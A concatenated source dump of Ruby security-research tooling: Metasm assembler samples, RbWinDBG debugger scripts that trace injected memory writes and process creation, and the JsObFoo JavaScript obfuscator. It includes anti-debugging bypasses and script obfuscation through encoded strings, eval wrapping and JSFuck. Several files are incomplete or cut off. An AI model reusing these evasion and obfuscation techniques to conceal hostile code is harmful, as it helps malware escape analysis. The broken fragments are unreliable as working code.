/RbWinDBG/lib-ext/metasm/samples/preprocess-flatten.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | # 8 | # this file takes preprocessor files as arguments 9 | # it preprocesses their content and dump the result to stdout 10 | # it also dumps all macro definitions 11 | # 12 | 13 | require 'metasm/preprocessor' 14 | 15 | p = Metasm::Preprocessor.new 16 | p.feed(ARGF.read) 17 | raw = p.dump 18 | puts p.dump_macros(p.definition.keys, false) 19 | puts raw 20 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/scan_pt_gnu_stack.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # This file is part of Metasm, the Ruby assembly manipulation suite 4 | # Copyright (C) 2006-2009 Yoann GUILLOT 5 | # 6 | # Licence is LGPL, see LICENCE in the top-level directory 7 | 8 | # 9 | # this script scans directories recursively for ELF files which have a PT_GNU_STACK rwe or absent 10 | # usage : scan_pt_gnu_stack.rb [] 11 | # 12 | 13 | require 'metasm' 14 | 15 | def _puts(a) 16 | puts a.to_s.ljust(60) 17 | end 18 | def _printadv(a) 19 | $stderr.print a.to_s.ljust(60)[-60, 60] + "\r" 20 | end 21 | 22 | # the recursive scanning procedure 23 | iter = lambda { |f| 24 | if File.symlink? f 25 | elsif File.directory? f 26 | # show where we are & recurse 27 | _printadv f 28 | Dir[ File.join(f, '*') ].each { |ff| 29 | iter[ff] 30 | } 31 | else 32 | # interpret any file as a ELF 33 | begin 34 | elf = Metasm::ELF.decode_file_header(f) 35 | next if not elf.segments or elf.header.type == 'REL' 36 | seg = elf.segments.find { |seg_| seg_.type == 'GNU_STACK' } 37 | if not seg 38 | _puts "PT_GNU_STACK absent : #{f}" 39 | elsif seg.flags.include? 'X' 40 | _puts "PT_GNU_STACK RWE : #{f}" 41 | else 42 | _puts "#{f} : #{seg.inspect}" if $VERBOSE 43 | end 44 | rescue 45 | # the file is not a valid ELF 46 | _puts "E: #{f} #{$!}" if $VERBOSE 47 | end 48 | end 49 | } 50 | 51 | # go 52 | ARGV.each { |dir| iter[dir] } 53 | 54 | _printadv '' 55 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/scanpeexports.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # 7 | # this script scans a directory for PE files which export a given symbol name (regexp case-insensitive) 8 | # usage : ruby scanpeexports.rb 9 | # 10 | 11 | require 'metasm' 12 | 13 | if not base = ARGV.shift 14 | puts 'base dir ?' 15 | base = gets.chomp 16 | end 17 | if not pat = ARGV.shift 18 | puts 'pattern ?' 19 | pat = gets.chomp 20 | puts 'searching...' 21 | end 22 | 23 | def _puts(a) 24 | puts a.to_s.ljust(60) 25 | end 26 | def _printadv(a) 27 | $stderr.print a.to_s.ljust(60)[-60, 60] + "\r" 28 | end 29 | 30 | # the recursive scanning procedure 31 | iter = lambda { |f, match| 32 | if File.directory? f 33 | # show where we are & recurse 34 | _printadv f 35 | Dir[ File.join(f, '*') ].each { |ff| 36 | iter[ff, match] 37 | } 38 | else 39 | # interpret any file as a PE 40 | begin 41 | pe = Metasm::PE.decode_file_header(f) 42 | pe.decode_exports 43 | next if not pe.export 44 | # scan the export directory for the symbol pattern, excluding forwarders 45 | pe.export.exports.each { |exp| 46 | if exp.name =~ /#{match}/i and not exp.forwarder_lib 47 | _puts f + " : " + exp.name 48 | end 49 | } 50 | rescue 51 | # the file is not a valid PE 52 | end 53 | end 54 | } 55 | 56 | # go 57 | iter[base, pat] 58 | 59 | if RUBY_PLATFORM =~ /win32/i 60 | _puts "press [enter] to exit" 61 | gets 62 | end 63 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/shellcode-c.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | 8 | # 9 | # in this exemple we can write a shellcode using a C function 10 | # 11 | 12 | require 'metasm' 13 | 14 | # load and decode the file 15 | sc = Metasm::Shellcode.new(Metasm::Ia32.new) 16 | sc.parse < // can use the C preprocessor 6 | 7 | stdout equ 1 // 'equ' constant definition 8 | 9 | syscall macro nr // asm-style macros 10 | mov eax, nr ; the syscall number goes in eax 11 | int 80h 12 | endm 13 | 14 | #define syscall1(nr, arg) mov ebx, arg syscall(__NR_##nr) // c++-style macros 15 | #define syscall3(nr, arg1, arg2, arg3) mov edx, arg3 mov ecx, arg2 syscall1(nr, arg1) 16 | 17 | .entrypoint // the elf entrypoint 18 | nop nop 19 | call 1f // 1f is the first label named '1' found forward 20 | toto_str db "toto\n" 21 | toto_str_len equ $ - toto_str // $ is the address of the start of the current instruction/data 22 | 23 | 1: 24 | pop ebp 25 | 26 | syscall3(write, stdout, ebp, toto_str_len) 27 | 28 | /* 29 | ; hang forever 30 | jmp $ 31 | */ 32 | 33 | syscall1(exit, 0) 34 | hlt 35 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/struct_offset.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # 7 | # This exemple illustrates the usage of the C parser to compute the offset of members of a given structure 8 | # usage: struct_offset.rb 9 | # 10 | 11 | require 'metasm' 12 | include Metasm 13 | 14 | require 'optparse' 15 | opts = { :hdrs => [], :defs => {}, :path => [], :cpu => 'X86', :offbase => 16 } 16 | OptionParser.new { |opt| 17 | opt.on('-o outfile') { |f| opts[:outfile] = f } 18 | opt.on('-H additional_header') { |f| opts[:hdrs] << f } 19 | opt.on('-I path', '--includepath path') { |f| opts[:path] << f } 20 | opt.on('-D var') { |f| k, v = f.split('=', 2) ; opts[:defs].update k => (v || '') } 21 | opt.on('-d') { opts[:offbase] = 10 } 22 | opt.on('--cpu CpuClass') { |c| opts[:cpu] = c } 23 | opt.on('--gcc') { opts[:gcc] = true } 24 | opt.on('--vs', '--visualstudio') { opts[:vs] = true } 25 | }.parse!(ARGV) 26 | 27 | cp = Metasm.const_get(opts[:cpu]).new.new_cparser 28 | 29 | cp.prepare_gcc if opts[:gcc] 30 | cp.prepare_visualstudio if opts[:vs] 31 | 32 | pp = cp.lexer 33 | pp.warn_redefinition = false 34 | pp.include_search_path[0, 0] = opts[:path] 35 | opts[:defs].each { |k, v| pp.define k, v } 36 | 37 | cp.parse opts[:hdrs].map { |h| "#include <#{h}>" }.join("\n") 38 | 39 | abort 'need source + struct name' unless ARGV.length >= 2 40 | 41 | cp.parse_file(ARGV.shift) 42 | 43 | $stdout.reopen File.open(opts[:outfile], 'w') if opts[:outfile] 44 | 45 | ARGV.each { |structname| 46 | puts cp.alloc_c_struct(structname) 47 | } 48 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/testpe.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | 8 | # 9 | # a sample application 10 | # 11 | 12 | 13 | require 'metasm' 14 | 15 | pe = Metasm::PE.assemble Metasm::Ia32.new, < Expression[1], :ebx => Expression[2] 30 | do_test_bd2 'mov eax, 1 push eax', :eax => Expression[1], Indirection[:esp, 4] => Expression[1], :esp => Expression[:esp, :+, -4] 31 | do_test_bd2 'mov [eax], ebx mov [eax], ecx', Indirection[:eax, 4] => Expression[:ecx] 32 | do_test_bd2 'add eax, 4 mov [eax], ecx', Indirection[:eax, 4] => Expression[:ecx], :eax => Expression[:eax, :+, 4] 33 | do_test_bd2 'mov [eax], ecx mov ebx, eax', :ebx => Expression[:eax], Indirection[:eax, 4] => Expression[:ecx], Indirection[:ebx, 4] => Expression[:ecx] 34 | do_test_bd2 'mov [eax], ecx add eax, 4', :eax => Expression[:eax, :+, 4], Indirection[[:eax, :+, -4], 4] => Expression[:ecx] 35 | do_test_bd2 'mov [eax+4], ecx add eax, 4', :eax => Expression[:eax, :+, 4], Indirection[:eax, 4] => Expression[:ecx] 36 | do_test_bd2 'push 1 push 2', :esp => Expression[:esp, :+, -8], Indirection[:esp, 4] => Expression[2], Indirection[[:esp, :+, 4], 4] => Expression[1] 37 | end 38 | end 39 | 40 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/tests/dynldr.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | require 'test/unit' 7 | require 'metasm' 8 | 9 | class TestDynldr < Test::Unit::TestCase 10 | def d; Metasm::DynLdr; end 11 | 12 | def test_new_api_c 13 | str = "1234" 14 | d.new_api_c('int memcpy(char*, char*, int)') 15 | d.memcpy(str, "9999", 2) 16 | assert_equal('9934', str) 17 | end 18 | 19 | def test_new_func_c 20 | c_src = < max_chars) 14 | end 15 | 16 | @dbg.memory[addr, i].gsub("\x00", "") 17 | end 18 | 19 | def read_string(addr, max_chars = 4096) 20 | i = 0 21 | loop do 22 | break if @dbg.memory[addr + i, 1].unpack('C').first() == 0 23 | i += 1 24 | break if i > max_chars 25 | end 26 | 27 | @dbg.memory[addr, i] 28 | end 29 | 30 | def ptr_at(addr) 31 | @dbg.memory[addr, 4].unpack('V').first() 32 | end 33 | 34 | def ptr_set(addr, v) 35 | @dbg.memory[addr, 4] = [v].pack('V') 36 | end 37 | 38 | def ptr_set64(addr, v) 39 | @dbg.memory[addr, 8] = [v].pack('Q') 40 | end 41 | end 42 | 43 | end 44 | -------------------------------------------------------------------------------- /RbWinDBG/lib/rbMiniDump.rb: -------------------------------------------------------------------------------- 1 | module RbWinDBG 2 | 3 | class DbgHelp < ::Metasm::DynLdr 4 | DBGHELP_DLL = 'C:\\Program Files\\Debugging Tools For Windows (x86)\\dbghelp.dll' 5 | 6 | new_api_c < true}) 8 | 9 | dbg = RbWinDBG.start($exe_path) 10 | dbg.on_entrypoint do 11 | puts "ENTRYPOINT HIT!" 12 | end 13 | 14 | dbg.on_exception do |ei| 15 | puts "Exeption: #{ei.inspect}" 16 | 17 | if ei[:type] == 'access violation' 18 | dbg.minidump("C:\\AA\\1.dmp") 19 | dbg.stop 20 | end 21 | end 22 | 23 | puts 'Starting Debug Loop' 24 | dbg.start 25 | end -------------------------------------------------------------------------------- /RbWinDBG/samples/InjDump.rb: -------------------------------------------------------------------------------- 1 | require 'RbWinDBG' 2 | 3 | def _msg(m) 4 | puts("[+] #{m}") 5 | end 6 | 7 | def hide_debugger(dbg) 8 | dbg.bpx(dbg.resolve_name('kernel32.dll!IsDebuggerPresent')) do 9 | _msg("IsDebuggerPresent() Hit!") 10 | 11 | dbg.bpx(dbg.get_stack_arg(0), true) do 12 | dbg.set_reg_value(:eax, 0) 13 | end 14 | end 15 | end 16 | 17 | def setup_hooks(dbg) 18 | $process_map ||= {} 19 | $wpm_buffers ||= {} 20 | 21 | dbg.bpx(dbg.resolve_name('kernel32.dll!OpenProcess')) do 22 | pid = dbg.get_stack_arg(3) 23 | 24 | dbg.bpx(dbg.get_stack_arg(0), true) do 25 | handle = dbg.get_reg_value(:eax) 26 | 27 | if handle != 0 28 | _msg("OpenProcess(#{pid}) -> #{handle}") 29 | 30 | pr = ::Metasm::WinOS.find_process(pid) 31 | $process_map[handle] = { 32 | :pid => pid, 33 | :mod => pr ? pr.modules[0].path : 'unknown' 34 | } 35 | end 36 | end 37 | end 38 | 39 | dbg.bpx(dbg.resolve_name('kernel32.dll!CloseHandle')) do 40 | handle = dbg.get_stack_arg(1) 41 | end 42 | 43 | dbg.bpx(dbg.resolve_name('kernel32.dll!WriteProcessMemory')) do 44 | handle = dbg.get_stack_arg(1) 45 | dst_addr = dbg.get_stack_arg(2) 46 | src_addr = dbg.get_stack_arg(3) 47 | size = dbg.get_stack_arg(4) 48 | 49 | data = dbg.read_memory(src_addr, size) 50 | 51 | $wpm_buffers[handle] ||= 52 | end 53 | end 54 | 55 | if __FILE__ == $0 56 | RbWinDBG.init() 57 | 58 | dbg = RbWinDBG.start(ARGV[0] || raise("ARGV[0] required!")) 59 | dbg.on_entrypoint do 60 | hide_debugger(dbg) 61 | setup_hooks(dbg) 62 | end 63 | 64 | dbg.start() 65 | end -------------------------------------------------------------------------------- /RbWinDBG/samples/MalwareTrace.rb: -------------------------------------------------------------------------------- 1 | require 'RbWinDBG' 2 | 3 | $fdOut = File.open(File.join(File.dirname(__FILE__), "mwTrace.txt"), "a") 4 | 5 | def msg(m) 6 | $stdout.puts("[+] #{m}") 7 | $fdOut.puts(m) 8 | end 9 | 10 | def setup_filesystem_monitor(dbg) 11 | =begin 12 | dbg.bpx(dbg.resolve_name('kernel32.dll!CreateFileW')) do 13 | path = dbg.read_wstring(dbg.get_stack_arg(1)) 14 | mode = dbg.get_stack_arg(2) 15 | 16 | msg "CreateFileW: #{path}" 17 | end 18 | =end 19 | end 20 | 21 | def setup_registry_monitor(dbg) 22 | end 23 | 24 | def setup_exec_monitor(dbg) 25 | dbg.bpx(dbg.resolve_name('kernel32.dll!CreateProcessW')) do 26 | app = dbg.utils.read_wstring(dbg.get_stack_arg(1)) 27 | cmd = dbg.utils.read_wstring(dbg.get_stack_arg(2)) 28 | 29 | msg "Attempting CreateProcessW Execution App: #{app} Cmd: #{cmd}" 30 | end 31 | 32 | dbg.bpx(dbg.resolve_name('kernel32.dll!WinExec')) do 33 | cmd = dbg.utils.read_string(dbg.get_stack_arg(1)) 34 | msg "Attempting WinExec Execution: #{cmd}" 35 | end 36 | end 37 | 38 | def setup_urlmon_monitor(dbg) 39 | end 40 | 41 | def hide_debugger(dbg) 42 | msg "Hiding Debugger" 43 | 44 | dbg.execute_code( 45 | Metasm::Shellcode.assemble(Metasm::Ia32.new, %Q{ 46 | mov eax, fs:[0x30] 47 | add eax, 2 48 | mov byte ptr[eax], 0 49 | }).encode_string() 50 | ) 51 | end 52 | 53 | if __FILE__ == $0 54 | #dbg = RbWinDBG.start(ARGV.map {|e| "\"#{e}\"" }.join(' ')) 55 | dbg = RbWinDBG.start(ARGV.join(' ')) 56 | 57 | msg "----" 58 | msg "ExploitTrace started on: #{Time.now}" 59 | msg "Process Handle: 0x%08x" % [dbg.process.handle] 60 | msg "EP: 0x%08x" % [dbg.entrypoint] 61 | 62 | dbg.on_entrypoint do 63 | msg "Executable Path: " + dbg.process.modules[0].path 64 | 65 | #hide_debugger(dbg) 66 | setup_urlmon_monitor(dbg) 67 | setup_exec_monitor(dbg) 68 | setup_registry_monitor(dbg) 69 | setup_filesystem_monitor(dbg) 70 | 71 | dbg.on_library_load do |lib| 72 | msg "LoadLibrary: #{lib}" 73 | end 74 | end 75 | 76 | begin 77 | dbg.start 78 | rescue => e 79 | msg "Error Occurred: #{e.message}" 80 | msg e.backtrace.join("\n") 81 | ensure 82 | dbg.stop 83 | end 84 | end -------------------------------------------------------------------------------- /RbWinDBG/samples/SnapshotTest.rb: -------------------------------------------------------------------------------- 1 | require 'RbWinDBG' 2 | 3 | if __FILE__ == $0 4 | dbg = RbWinDBG.start("C:\\Windows\\System32\\notepad.exe") 5 | 6 | puts "Process Handle: 0x%08x" % [dbg.process.handle] 7 | puts "EP: 0x%08x" % [dbg.entrypoint] 8 | 9 | cf_count = 0 10 | cf_count_r = 5 11 | 12 | dbg.on_entrypoint do 13 | puts "Entrypoint Hit - Taking Snapshot" 14 | 15 | mem_addr = dbg.get_reg_value(:esp) - 512 16 | mem_size = 4096 17 | 18 | pre_mem_data = dbg.read_process_memory(mem_addr, mem_size) 19 | 20 | s = dbg.snapshot_process() 21 | 22 | puts "Finished Taking Snapshot" 23 | puts "Snapshot Thread Count: #{s.snapshot_info[:thread_count]}" 24 | puts "Snapshot Memory Block Count: #{s.snapshot_info[:memory_block_count]}" 25 | puts "Snapshot Memory Data Count: #{s.snapshot_info[:memory_store_count]}" 26 | 27 | dbg.bpx(dbg.resolve_name("kernel32.dll!CreateFileW")) do 28 | if cf_count < cf_count_r 29 | cf_count += 1 30 | else 31 | puts "CreateFileW Hit! - Restoring Snapshot" 32 | 33 | post_mem_data = dbg.read_process_memory(mem_addr, mem_size) 34 | if pre_mem_data != post_mem_data 35 | puts "BEFORE: MEMORY DATA DOESN'T MATCH" 36 | else 37 | puts "BEFORE: MEMORY DATA MATCHES" 38 | end 39 | 40 | dbg.snapshot_restore_process 41 | 42 | post_mem_data = dbg.read_process_memory(mem_addr, mem_size) 43 | if pre_mem_data != post_mem_data 44 | puts "AFTER: MEMORY DATA DOESN'T MATCH" 45 | else 46 | puts "AFTER: MEMORY DATA MATCHES" 47 | end 48 | 49 | exit 50 | end 51 | end 52 | 53 | end 54 | 55 | trap('INT') do 56 | exit if $aaa 57 | dbg.snapshot_restore_process 58 | $aaa = 1 59 | end 60 | 61 | dbg.debug_loop 62 | end -------------------------------------------------------------------------------- /RbWinDBG/samples/StackTraceTest.rb: -------------------------------------------------------------------------------- 1 | require 'RbWinDBG' 2 | 3 | if __FILE__ == $0 4 | dbg = RbWinDBG.start("C:\\Windows\\System32\\notepad.exe") 5 | 6 | puts "Process Handle: 0x%08x" % [dbg.process.handle] 7 | puts "EP: 0x%08x" % [dbg.entrypoint] 8 | 9 | dbg.on_entrypoint do 10 | 11 | dbg.bpx(dbg.resolve_name('kernel32.dll!CreateFileW')) do 12 | puts "Stack Trace: \n" 13 | dbg.stack_trace.each do |frame| 14 | puts "0x%08x: %s" % [frame[0], frame[1]] 15 | end 16 | puts "--" 17 | 18 | dbg.stop 19 | end 20 | 21 | dbg.on_library_load do |lib| 22 | puts 'LoadLibrary: ' + lib.to_s 23 | end 24 | 25 | dbg.on_exception do |ei| 26 | puts "Process Exception: #{ei[:type]}" 27 | end 28 | 29 | dbg.on_thread_start do |ei| 30 | puts "New Thread Created #{ei.inspect}" 31 | end 32 | 33 | dbg.on_thread_exit do |ei| 34 | puts "Thread Exit #{ei.inspect}" 35 | end 36 | 37 | #dbg.stop 38 | end 39 | 40 | dbg.start 41 | end -------------------------------------------------------------------------------- /RbWinDBG/samples/TestConsole.rb: -------------------------------------------------------------------------------- 1 | require 'RbWinDBG' 2 | require 'irb' 3 | 4 | if __FILE__ == $0 5 | $dbg = RbWinDBG.start("C:\\Windows\\System32\\notepad.exe") 6 | IRB.start(__FILE__) 7 | end -------------------------------------------------------------------------------- /Web/JsObFoo/Gemfile: -------------------------------------------------------------------------------- 1 | source 'http://www.rubygems.org' 2 | 3 | gem 'rkelly' 4 | gem 'colorize' 5 | gem 'uglifier' 6 | 7 | -------------------------------------------------------------------------------- /Web/JsObFoo/Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: http://www.rubygems.org/ 3 | specs: 4 | colorize (0.5.8) 5 | execjs (1.4.0) 6 | multi_json (~> 1.0) 7 | multi_json (1.7.7) 8 | rkelly (1.0.7) 9 | uglifier (2.1.2) 10 | execjs (>= 0.3.0) 11 | multi_json (~> 1.0, >= 1.0.2) 12 | 13 | PLATFORMS 14 | ruby 15 | 16 | DEPENDENCIES 17 | colorize 18 | rkelly 19 | uglifier 20 | -------------------------------------------------------------------------------- /Web/JsObFoo/jsobfoo.rb: -------------------------------------------------------------------------------- 1 | require 'rubygems' 2 | require 'bundler' 3 | require 'irb' 4 | 5 | require File.join(File.dirname(__FILE__), 'lib', 'jsobfoo') 6 | Bundler.require(:default) 7 | 8 | if __FILE__ == $0 9 | config = ::JsObFoo::Config.new 10 | config.parse! 11 | 12 | JsObFoo::Runner.new(config).run() 13 | end 14 | -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo.rb: -------------------------------------------------------------------------------- 1 | $:.unshift(File.dirname(__FILE__)) 2 | 3 | require 'jsobfoo/config' 4 | require 'jsobfoo/logger' 5 | require 'jsobfoo/module_manager' 6 | require 'jsobfoo/runner' 7 | require 'jsobfoo/utils' 8 | require 'jsobfoo/quirks' 9 | require 'jsobfoo/jsfuck' 10 | 11 | -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo/config.rb: -------------------------------------------------------------------------------- 1 | require 'optparse' 2 | 3 | module JsObFoo 4 | 5 | class Config 6 | def initialize() 7 | @config = { 8 | :input_file => nil, 9 | :ouptput_file => nil, 10 | :verbose => false, 11 | :obfoo_min_var_size => 10, 12 | :obfoo_max_var_size => 30, 13 | :compress => false 14 | } 15 | end 16 | 17 | def input_file 18 | @config[:input_file] 19 | end 20 | 21 | def output_file 22 | @config[:output_file] 23 | end 24 | 25 | def verbose? 26 | !!@config[:verbose] 27 | end 28 | 29 | def compress? 30 | !!@config[:compress] 31 | end 32 | 33 | def parse! 34 | opt_p = OptionParser.new do |opts| 35 | opts.banner = "Usage: #{$0} [options]" 36 | 37 | opts.on("-i", "--input [FILE]", "Javascript source file to obfuscate (Required)") do |file| 38 | @config[:input_file] = file.to_s 39 | end 40 | 41 | opts.on("-o", "--output [FILE]", "File to write obfuscated Javascript source (Required)") do |file| 42 | @config[:output_file] = file.to_s 43 | end 44 | 45 | opts.on("-z", "--compress", "Compress generated Javascript source") do 46 | @config[:compress] = true 47 | end 48 | 49 | opts.on("-v", "--verbose", "Show verbose messages") do 50 | @config[:verbose] = true 51 | end 52 | 53 | opts.on("-C", "--console", "Start IRB console") do 54 | IRB.start(__FILE__) 55 | exit(1) 56 | end 57 | end 58 | 59 | opt_p.parse!(ARGV) 60 | 61 | if @config[:input_file].nil? or @config[:output_file].nil? 62 | puts opt_p 63 | exit(1) 64 | end 65 | end 66 | end 67 | 68 | end -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo/jsfuck.rb: -------------------------------------------------------------------------------- 1 | require 'execjs' 2 | 3 | class JsFuck 4 | def initialize() 5 | @context = ::ExecJS.compile(File.read(File.join(File.dirname(__FILE__), "jsfuck.js"))) 6 | end 7 | 8 | def fsck(str, wrap_eval = false) 9 | #@context.exec(js % [str]) 10 | @context.call("JSFuck.encode", str, wrap_eval) 11 | end 12 | end 13 | -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo/logger.rb: -------------------------------------------------------------------------------- 1 | module JsObFoo 2 | 3 | class Logger 4 | def self.info(msg) 5 | puts "[+] #{msg}".green 6 | end 7 | 8 | def self.verbose(msg) 9 | puts "[+] #{msg}".cyan 10 | end 11 | 12 | def self.error(msg) 13 | puts "[-] #{msg}".red 14 | end 15 | 16 | def self.warn(msg) 17 | puts "[*] #{msg}".yellow 18 | end 19 | end 20 | 21 | end -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo/module_manager.rb: -------------------------------------------------------------------------------- 1 | def require_module(name) 2 | require File.join(File.dirname(__FILE__), 'modules', name) 3 | end 4 | 5 | module JsObFoo 6 | 7 | class ModuleManager 8 | 9 | def self.get_instance() 10 | return $module_manager_instance 11 | end 12 | 13 | def initialize(runner) 14 | @runner = runner 15 | @node_modules_map = {} 16 | 17 | $module_manager_instance = self 18 | 19 | require_module('variable_obfuscator') 20 | require_module('string_obfuscator') 21 | end 22 | 23 | # TODO: Enumerate on per function scope 24 | def run_modules(ast) 25 | ast.each do |node| 26 | #puts "#{node.class}: #{node.value.class}" 27 | run_node_modules(ast, node) 28 | end 29 | end 30 | 31 | def msg_info(m) 32 | @runner.msg_info(m) 33 | end 34 | 35 | def msg_verbose(m) 36 | @runner.msg_verbose(m) 37 | end 38 | 39 | def register_node_module(node_type, module_instance) 40 | @node_modules_map[node_type] ||= [] 41 | @node_modules_map[node_type].push(module_instance) 42 | end 43 | 44 | def run_node_modules(ast, node) 45 | m = @node_modules_map[node.class] 46 | 47 | unless m.nil? or m.size.zero? 48 | m.each {|mod| mod.run(ast, node) } 49 | end 50 | end 51 | 52 | end 53 | 54 | end -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo/modules/string_obfuscator.rb: -------------------------------------------------------------------------------- 1 | module JsObFoo 2 | 3 | class StringObfuscator 4 | def initialize() 5 | @mm = ::JsObFoo::ModuleManager.get_instance() 6 | end 7 | 8 | def run(ast, node) 9 | @mm.msg_verbose("Running module: #{self.class.to_s} on #{node.class}") 10 | node.value = js_obfuscate_string(node.value) 11 | end 12 | 13 | private 14 | 15 | def js_obfuscate_string(str) 16 | n = Random.rand(2) 17 | case n 18 | when 0 19 | js_string_charcode_obfuscator(str) 20 | when 1 21 | js_string_encoding_obfuscator(str) 22 | end 23 | end 24 | 25 | def js_string_charcode_obfuscator(str) 26 | "String.fromCharCode(" + str.unpack('C*').map {|e| e.to_s }.join(",") + ")" 27 | end 28 | 29 | def js_string_encoding_obfuscator(str) 30 | new_str = str.unpack('C*').map do |c| 31 | n = Random.rand(2) 32 | if n == 0 33 | "\\x%02x" % [c] 34 | else 35 | "\\u00#{c.to_s(16)}" 36 | end 37 | end.join() 38 | 39 | "\"" + new_str + "\"" 40 | end 41 | end 42 | 43 | end 44 | 45 | mi = ::JsObFoo::StringObfuscator.new() 46 | 47 | ::JsObFoo::ModuleManager.get_instance(). 48 | register_node_module( 49 | ::RKelly::Nodes::StringNode, 50 | mi 51 | ) -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo/modules/variable_obfuscator.rb: -------------------------------------------------------------------------------- 1 | module JsObFoo 2 | 3 | class VariableNameObfuscator 4 | def initialize() 5 | @mm = ::JsObFoo::ModuleManager.get_instance() 6 | end 7 | 8 | def run(ast, node) 9 | @var_map ||= {} 10 | @fun_map ||= {} 11 | 12 | @mm.msg_verbose("Running module: #{self.class.to_s} on #{node.class}") 13 | 14 | if node.is_a?(::RKelly::Nodes::FunctionDeclNode) 15 | #@mm.msg_verbose("Transforming function declaration: #{node.value}") 16 | 17 | @fun_map[node.value] ||= ::JsObFoo::Utils.random_js_variable(10) 18 | node.value = @fun_map[node.value] 19 | elsif node.is_a?(::RKelly::Nodes::FunctionCallNode) 20 | #@mm.msg_verbose("Transforming function call: #{node.value.value}") 21 | 22 | name = node.value.value # node.value -> ResolveNode 23 | # Ensure we mangle locally defined function names only 24 | if @fun_map[name] 25 | node.value.value = @fun_map[name] 26 | else 27 | node.value.value = ::JsObFoo::Quirks.evalify(name) 28 | end 29 | elsif node.is_a?(::RKelly::Nodes::ResolveNode) 30 | #@mm.msg_verbose("Transforming variable reference: #{node.value}") 31 | 32 | node.value = @var_map[node.value] unless @var_map[node.value].nil? 33 | elsif node.is_a?(::RKelly::Nodes::VarDeclNode) 34 | #@mm.msg_verbose("Transforming variable declaration: #{node.name}") 35 | 36 | orig_name = node.name 37 | orig_sig = orig_name 38 | 39 | name = ::JsObFoo::Utils.random_js_variable(10) 40 | name = ::JsObFoo::Quirks.random_encoded_name(name) 41 | node.name = name 42 | 43 | @var_map[orig_sig] = name 44 | end 45 | end 46 | end 47 | 48 | end 49 | 50 | mi = ::JsObFoo::VariableNameObfuscator.new() 51 | 52 | ::JsObFoo::ModuleManager.get_instance(). 53 | register_node_module( 54 | ::RKelly::Nodes::VarDeclNode, 55 | mi 56 | ) 57 | 58 | ::JsObFoo::ModuleManager.get_instance(). 59 | register_node_module( 60 | ::RKelly::Nodes::ResolveNode, 61 | mi 62 | ) 63 | 64 | ::JsObFoo::ModuleManager.get_instance(). 65 | register_node_module( 66 | ::RKelly::Nodes::FunctionDeclNode, 67 | mi 68 | ) 69 | 70 | ::JsObFoo::ModuleManager.get_instance(). 71 | register_node_module( 72 | ::RKelly::Nodes::FunctionCallNode, 73 | mi 74 | ) -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo/quirks.rb: -------------------------------------------------------------------------------- 1 | module JsObFoo 2 | 3 | class Quirks 4 | def self.evalify(name) 5 | random_encoded_name("eval") + "(\"" + name.unpack('C*').map {|e| "\\x%02x" % [e] }.join + "\")" 6 | end 7 | 8 | def self.random_encoded_name(name) 9 | out = "" 10 | name.unpack('C*').map do |c| 11 | n = Random.rand(1000000) % 3 12 | 13 | case n 14 | when 0 15 | out << "\\u00#{c.to_s(16)}" 16 | when 1 17 | #out << "\\O#{c.to_s(8)}" 18 | out << "\\u00#{c.to_s(16)}" 19 | else 20 | out << c.chr 21 | end 22 | end 23 | 24 | return out 25 | end 26 | end 27 | 28 | end -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo/runner.rb: -------------------------------------------------------------------------------- 1 | module JsObFoo 2 | 3 | class Runner 4 | def initialize(config) 5 | @config = config 6 | @mm = ::JsObFoo::ModuleManager.new(self) 7 | end 8 | 9 | def run 10 | begin 11 | run_obfoo() 12 | rescue => e 13 | msg_err("Exception: #{e.message}") 14 | end 15 | end 16 | 17 | def get_parser() 18 | @parser ||= RKelly::Parser.new 19 | end 20 | 21 | def get_ast() 22 | @ast ||= get_parser.parse(File.read(@config.input_file)) 23 | end 24 | 25 | def msg_err(m) 26 | ::JsObFoo::Logger.error(m) 27 | end 28 | 29 | def msg_info(m) 30 | ::JsObFoo::Logger.info(m) 31 | end 32 | 33 | def msg_verbose(m) 34 | ::JsObFoo::Logger.verbose(m) if @config.verbose? 35 | end 36 | 37 | private 38 | 39 | def run_obfoo 40 | msg_info("Parsing input source") 41 | ast = get_ast() 42 | 43 | msg_info("Running modules") 44 | 